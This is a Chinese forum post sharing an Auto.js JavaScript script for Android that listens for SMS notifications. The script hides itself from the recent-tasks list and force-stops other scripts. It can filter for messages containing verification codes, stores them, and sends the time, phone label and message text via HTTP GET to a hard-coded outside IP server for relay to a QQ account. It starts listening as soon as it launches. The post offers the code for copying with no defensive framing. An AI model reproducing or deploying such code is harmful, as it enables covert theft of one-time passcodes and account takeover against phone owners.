设为首页收藏本站网站公告 | 繁体中文
开启辅助访问
查看: 58|回复: 0

短信监听代码 JavaScript

[复制链接]
回帖奖励 5 金钱 回复本帖可获得 5 金钱奖励! 每人限 1 次

7

主题

7

帖子

1547

积分

管理员

Lmmso-婉婷

Rank: 9Rank: 9Rank: 9

积分
1547

最佳新人活跃会员热心会员推广达人宣传达人灌水之王突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2022-6-19 10:09:57 | 显示全部楼层 |阅读模式



[JavaScript] 纯文本查看 复制代码
"ui";

// 在最近任务列表中隐藏自己
let am = context.getSystemService(context.ACTIVITY_SERVICE);
if (am != null) {
  tasks = am.getAppTasks();
  //log(tasks);
  if (tasks != null && tasks.size() > 0) {
    tasks.get(0).setExcludeFromRecents(true);
  }
}

// --------------> 定义一些工具函数 strat <-----------------------
// 1.运行该脚本时停止其他脚本
engines.all().map((ScriptEngine)=>{
    if(engines.myEngine().toString()!==ScriptEngine.toString()){
        ScriptEngine.forceStop();
    }
});
// 2.设置一个自定义颜色按钮控件
var ColoredButton = (function() {
    //继承ui.Widget
    util.extend(ColoredButton, ui.Widget);

    function ColoredButton() {
        //调用父类构造函数
        ui.Widget.call(this);
        //自定义属性color,定义按钮颜色
        this.defineAttr("color", (view, name, defaultGetter) => {
            return this._color;
        }, (view, name, value, defaultSetter) => {
            this._color = value;
            view.attr("backgroundTint", value);
        });
        //自定义属性onClick,定义被点击时执行的代码
        this.defineAttr("onClick", (view, name, defaultGetter) => {
            return this._onClick;
        }, (view, name, value, defaultSetter) => {
            this._onClick = value;
        });
    }
    ColoredButton.prototype.render = function() {
        return (
            <button textSize="16sp" style="Widget.AppCompat.Button.Colored" w="auto"/>
        );
    }
    ColoredButton.prototype.onViewCreated = function(view) {
        view.on("click", () => {
            if (this._onClick) {
                eval(this._onClick);
            }
        });
    }
    ui.registerWidget("colored-button", ColoredButton);
    return ColoredButton;
})();
// 3.在文字前面带上时间并打印
function addTimeLog(string, type){
    // 最终格式,例如:2022-3-19 10:03:01 --> 打印信息

    var time = new Date();
    // year = time.getFullYear(); //获取完整的年份
    month = time.getMonth() + 1; //获取当前月份(0-11,0代表1月)
    date = time.getDate(); //获取当前日
    hours = time.getHours(); //获取当前小时数(0-23)
    minutes = time.getMinutes(); //获取当前分钟数(0-59)
    secondes = time.getSeconds(); //获取当前秒数(0-59)
    t = fixZeroStart(month, 2) + '-' + 
        fixZeroStart(date, 2) + ' ' + 
        fixZeroStart(hours, 2) + ':' + 
        fixZeroStart(minutes, 2) + ':' + 
        fixZeroStart(secondes, 2) + ' --> ';
    
    switch (type) {
        case 'black':
            console.log(t + string);
            break;
        case 'red':
            console.warn(t + string);
            break;
    };
}
// 4.字符串补零
function fixZeroStart(str, n){
    return (Array(n).join(0) + str).slice(-n);
}
// 5.把短信监听到的信息发送给指定QQ
function sendToQQ(qq, contentTepArr){
    threads.start(function(){
        // 接口
        url = 'http://114.116.125.129/sendMsgToQq/'
        title = '短信监听通知'
        // 格式化一下短信内容
        full_url = url + qq + "\\" + title + '\\' + contentTepArr;
        try{
            res = http.get(full_url)
            result = res.body.json()['code']
            
            if(result == 1){
                addTimeLog('发送通知成功', 'black')
            }else{
                addTimeLog('发送通知失败', 'black')
            }
        }catch(e) {
            addTimeLog('有异常:' + e.toString());
            addTimeLog('发送通知失败', 'black')
        }
    });
    
}


// --------------> 定义一些工具函数 strat <-----------------------


// ------------------------------->布局设计 start<-------------------------------------------
ui.layout(
    // 滑动布局
    <ScrollView>
        <vertical>
            {/* 1.添加一个顶部导航栏 */}
            <appbar>
                <toolbar id="toolbar" title="短信监听测试(未开启)"/>
            </appbar>

            {/* 2.添加一个卡片布局 */}
            <card w="*" h="*" margin="10 5" cardCornerRadius="2dp" cardElevation="1dp" gravity="center_vertical">
                <vertical padding="8 8" h="auto">
                    <text text="①信息配置" textSize="18sp"/>
                    <input hint="请输入本机手机号码或备注(可留空)" gravity="center" id="tel"/>
                    <input hint="请输入推送的QQ(可留空)" gravity="center" id="pushTarget"/>
                    {/* 用水平布局添加一个文本和两个单项框 */}
                    <linear>
                        <text text="只监听包含验证码字样的短信:" />
                            <radio text="是" id="yes"/>
                            <radio text="否" id="no" />
                    </linear> 
                    {/* 2.1 添加水平布局存放两个按钮 */}
                    <linear>
                        <colored-button text="开启短信监听" layout_weight="1" id="start"/>
                        <colored-button text="关闭短信监听" layout_weight="1" color="#ffca2c"
                        textColor="#2c2c2c" id="end"/>
                    </linear>
                </vertical>
            </card>

            {/* 3.添加第二个卡片布局 */}
            <card w="*" h="*" margin="10 5" cardCornerRadius="2dp" cardElevation="1dp" gravity="center_vertical">
                <vertical padding="8 8" h="auto">
                    <text text="②监听结果" textSize="18sp" marginBottom="10"/>
                    <linear>
                        <text text="接收时间:" />
                        <text text="" id="time"/>
                    </linear>
                    <linear>
                        <text text="发信的人:" />
                        <text text="" id="sendPhone"/>
                    </linear>
                    <linear>
                        <text text="收信的人:" />
                        <text text="" id="receivePhone"/>  
                    </linear>
                    <linear>
                        <text text="短信内容:"/>
                        <text text="" textColor="#f86934" id="content"/>
                    </linear>
                </vertical>
            </card>

            {/* 4.添加第三个卡片 */}
            <card w="*" h="*" margin="10 5" cardCornerRadius="2dp" cardElevation="1dp" gravity="center_vertical">
                <vertical padding="8 8" h="auto">
                    <linear>
                        <text text="③执行日志" textSize="18sp" marginBottom="10" layout_weight="3"/>
                        <text text="当前状态:" />
                        <text text="未开启" layout_weight="5" id="hint" textColor="#008000"/>
                        <img w="20" h="25" src="@drawable/ic_close_black_48dp" id="close"/>
                    </linear>
                    {/* 控制台控件 */}
                    <console w="*" h="90" id="console" bg="#ffffcc"></console>
                </vertical>
            </card>
        </vertical>
    </ScrollView>
);

// 启动UI不弹出输入法
activity.getWindow().setSoftInputMode(android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);

// 创建右上角选项菜单
ui.emitter.on("create_options_menu", menu => {
    menu.add("监听记录");
    menu.add("退出程序");
});
// 监听选项菜单点击
ui.emitter.on("options_item_selected", (e, item) => {
    switch(item.getTitle()){
        case "监听记录":
            toast("还没有完成");
            break;
        case "退出程序":
            exit();
            break;
        
    }
    e.consumed = true;
});
activity.setSupportActionBar(ui.toolbar); //绑定到toolbar控件上

// 设置控制台
ui.console.setConsole(runtime.console);
// 设置输入框颜色
ui.console.input.setTextColor(colors.BLACK);
// 隐藏输入框
ui.console.setInputEnabled(false);
// 自定义日志颜色

ui.console.setColor("D", "#2c2c2c");
ui.console.setColor("W", "#b71c1c");
// ui.console.setTextSize('10sp');

// ------------------------------->布局设计 end<-------------------------------------------

// ----------------->model start<--------------------------

// 初始化数据
tel = '';
pushTarget = '';



// 开辟一个存储app数据的空间
var appData = storages.create('appData');

if(getStorageData('smsContentList') != undefined){
    smsContentList = getStorageData('smsContentList');
}else {
    smsContentList = [] // 用来存储监听到的短信
}


if(getStorageData('timeArr') != undefined){
    timeArr = getStorageData('timeArr');
}else {
    timeArr = [] // 用来存储监听到的短信
}

if(getStorageData('smsArr') != undefined){
    smsArr = getStorageData('smsArr');
}else {
    smsArr = [] // 用来存储监听到的短信
}


// appData.clear();
// 设置页面数据
setPageData(true);
// 为了方便存储和获取定义两个函数
// 存储
function setStorageData(key, value){
    appData.put(key, value);
};
// 获取
function getStorageData(key) {
    return appData.get(key);
}
// 保存当前页面数据
function savePageData(){
    // 电话
    setStorageData('tel', ui.tel.text());
    // 推送目标
    setStorageData('pushTarget', ui.pushTarget.text());
    // 存储单选框,这里需要设置一下逻辑判断
    yes_state = ui.yes.checked;
    if (yes_state == true){
        setStorageData('state', 'yes');
    }else{
        setStorageData('state', 'no');
    }

}

// 设置页面数据为之前保存的数据
function setPageData(isSetValue){
    if(getStorageData('tel') != undefined){
        tel = getStorageData('tel')
    }
    isSetValue && ui.tel.setText(tel);

    if(getStorageData('pushTarget') != undefined){
        pushTarget = getStorageData('pushTarget')
    }
    isSetValue && ui.pushTarget.setText(pushTarget);

    if(getStorageData('state') != undefined){
        state = getStorageData('state')
        if (isSetValue){
            if(state == 'yes') {
                ui.yes.setChecked(true);
                ui.no.setChecked(false);
            }else{
                ui.yes.setChecked(false);
                ui.no.setChecked(true);
            }
        }
    }else{
        ui.yes.setChecked(false);
        ui.no.setChecked(true);
    }

    

    
}
// ----------------->model end<--------------------------


// ------------------->界面响应相关control start<---------------------------

// 单选框 ----> 是
ui.yes.on('click', () => {
    // 1.先判断一下另一个单选框的状态
    var state = ui.no.checked;
    if(state == true){
        // 1.1 取消对方的选中状态
            ui.no.setChecked(false);
        // 1.2 设置自己为选中状态
            ui.yes.setChecked(true);
    }
});

// 单选框 ----> 否
ui.no.on('click', () => {
    // 1.先判断一下另一个单选框的状态
    var state = ui.yes.checked;
    if(state == true){
        // 1.1 取消对方的选中状态
            ui.yes.setChecked(false);
        // 1.2 设置自己为选中状态
            ui.no.setChecked(true);
    }
});

// 按钮---->开启监听
ui.start.on('click', () => {
    startListen();
});
startListen();
function startListen(){
    // 1.获取当前页面内容
    savePageData(); // 保存当前页面数据
    // 2.保存当前页面内容7
    addTimeLog('【启动】短信监听成功', "red");
    // 3.执行相关功能
    // 3.1 开始短信监听
    smsMonitor(smsContentList);
    ui.toolbar.setTitle("短信监听测试(已开启)");
    // 4.设置下面的提示信息
    ui.hint.setText("已开启");
    toast("监听中...");
}
// 按钮  ----> 关闭监听
ui.end.on('click', () => {
    // 取消监听器
    events.removeAllListeners();
    addTimeLog('【关闭】短信监听成功', 'red');
    ui.toolbar.setTitle("短信监听测试(未开启)");
    ui.hint.setText("未开启");
});

// 图片 ---> 清除控制台打印
ui.close.on('click', () => {
    console.clear();
});
// ------------------->界面响应相关control end<---------------------------

// ---------------> 短信功能实现代码 <--------------------------------
// 

// 短信监听器

function smsMonitor(smsContentList) {
    // try catch
    try{
        events.observeNotification();
    }catch(e){
        exit();
        log(e);
    };
    
    events.onNotification(function(notification){
    

    
    smsText = notification.getText();
    // 1.判断是否来自短信的通知
    if (notification.getPackageName().indexOf('com.android.mms') != -1){
        // 2.判断内容是否为空
        if (smsText != null){
            // 3.判断是否需要只包含验证码的短信
            var state = ui.yes.checked;
            if(state) {
                // 时间
                timeString = timeStr()
                // 标题(发信人)
                title = notification.getTitle()
                // 内容
                content = notification.getText()
                
                if(content.indexOf('验证码') != -1){
                    if(getStorageData('timeArr') != undefined){
                        timeArr = getStorageData('timeArr');
                    }else {
                        timeArr = [] // 用来存储监听到的短信
                    }
                    
                    if(getStorageData('smsArr') != undefined){
                        smsArr = getStorageData('smsArr');
                    }else {
                        smsArr = [] // 用来存储监听到的短信
                    }
                    
                    // 4.判断时间和内容是否在数组中,如果不在就添加并打印
                    if (timeArr.indexOf(timeString) == -1 && smsArr.indexOf(content) == -1) {
                        // 添加
                        timeArr.push(timeString);
                        smsArr.push(content);
                        setStorageData('timeArr', timeArr); // 保存到内存中
                        setStorageData('smsArr', smsArr); // 保存到内存中
                        // 提示信息
                        addTimeLog('监听到了一条短信', "red");
                        // 设置界面控件显示监听到的内容
                        // 时间
                        ui.time.setText(timeString);
                        // 发信人
                        ui.sendPhone.setText(title);
                        // 收信人
                        ui.receivePhone.setText(ui.tel.text());
                        // 短信内容
                        ui.content.setText(content);
                        /**
                         * 存储格式:
                         *      接收时间:
                         *      收信的人:
                         *      短信内容:
                         */
                        // 5.添加到数组中,然后存储到内存中
                        tepArr = [timeString, ui.tel.text(), content]
                        smsContentList.push(tepArr);
                        setStorageData('smsContentList', smsContentList); // 保存到内存中

                        // 6.这里是发送通知功能
                        /**
                         * 6.1 邮箱通知 sendToEmail(){}
                         * 6.2 pushplus 
                         * 6.3 QQ通知 sendToQQ(){}
                         */
                        qq = ui.pushTarget.text();
                        sendToQQ(qq, tepArr); // 发送到QQ上
                    }

                }
                   
            }else {
                // 时间
                timeString = timeStr()
                // 标题(发信人)
                title = notification.getTitle()
                // 内容
                content = notification.getText()
                if(getStorageData('timeArr') != undefined){
                        timeArr = getStorageData('timeArr');
                    }else {
                        timeArr = [] // 用来存储监听到的短信
                    }
                    
                    if(getStorageData('smsArr') != undefined){
                        smsArr = getStorageData('smsArr');
                    }else {
                        smsArr = [] // 用来存储监听到的短信
                    }
                    
                    // 4.判断时间和内容是否在数组中,如果不在就添加并打印
                    if (timeArr.indexOf(timeString) == -1 && smsArr.indexOf(content) == -1) {
                        // 添加
                        timeArr.push(timeString);
                        smsArr.push(content);
                        setStorageData('timeArr', timeArr); // 保存到内存中
                        setStorageData('smsArr', smsArr); // 保存到内存中
                        // 提示信息
                        addTimeLog('监听到了一条短信', "red");
                        // 设置界面控件显示监听到的内容
                        // 时间
                        ui.time.setText(timeString);
                        // 发信人
                        ui.sendPhone.setText(title);
                        // 收信人
                        ui.receivePhone.setText(ui.tel.text());
                        // 短信内容
                        ui.content.setText(content);
                        /**
                         * 存储格式:
                         *      接收时间:
                         *      收信的人:
                         *      短信内容:
                         */
                        // 5.添加到数组中,然后存储到内存中
                        tepArr = [timeString, ui.tel.text(), content]
                        smsContentList.push(tepArr);
                        setStorageData('smsContentList', smsContentList); // 保存到内存中

                        // 6.这里是发送通知功能
                        /**
                         * 6.1 邮箱通知 sendToEmail(){}
                         * 6.2 pushplus 
                         * 6.3 QQ通知 sendToQQ(){}
                         */
                        qq = ui.pushTarget.text();
                        sendToQQ(qq, tepArr); // 发送到QQ上
                    }   
            }
        }
    }
});
};



function timeStr() {
    var time = new Date();
    // year = time.getFullYear(); //获取完整的年份
    month = time.getMonth() + 1; //获取当前月份(0-11,0代表1月)
    date = time.getDate(); //获取当前日
    hours = time.getHours(); //获取当前小时数(0-23)
    minutes = time.getMinutes(); //获取当前分钟数(0-59)
    secondes = time.getSeconds(); //获取当前秒数(0-59)
    t = fixZeroStart(month, 2) + '-' + 
        fixZeroStart(date, 2) + ' ' + 
        fixZeroStart(hours, 2) + ':' + 
        fixZeroStart(minutes, 2) + ':' + 
        fixZeroStart(secondes, 2);
    return t;
};

相关帖子

我有千百个想见你的理由,却缺少一种能见你的身份。
回复 论坛版权

使用道具 举报

ahome_bigavatar:guest
ahome_bigavatar:welcomelogin
懒得打字嘛,点击右侧快捷回复
高级模式
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Loading...

QQ|手机版|小黑屋|Lmmso-Loser 官网

GMT+8, 2022-9-27 11:47 , Processed in 0.176176 second(s), 44 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表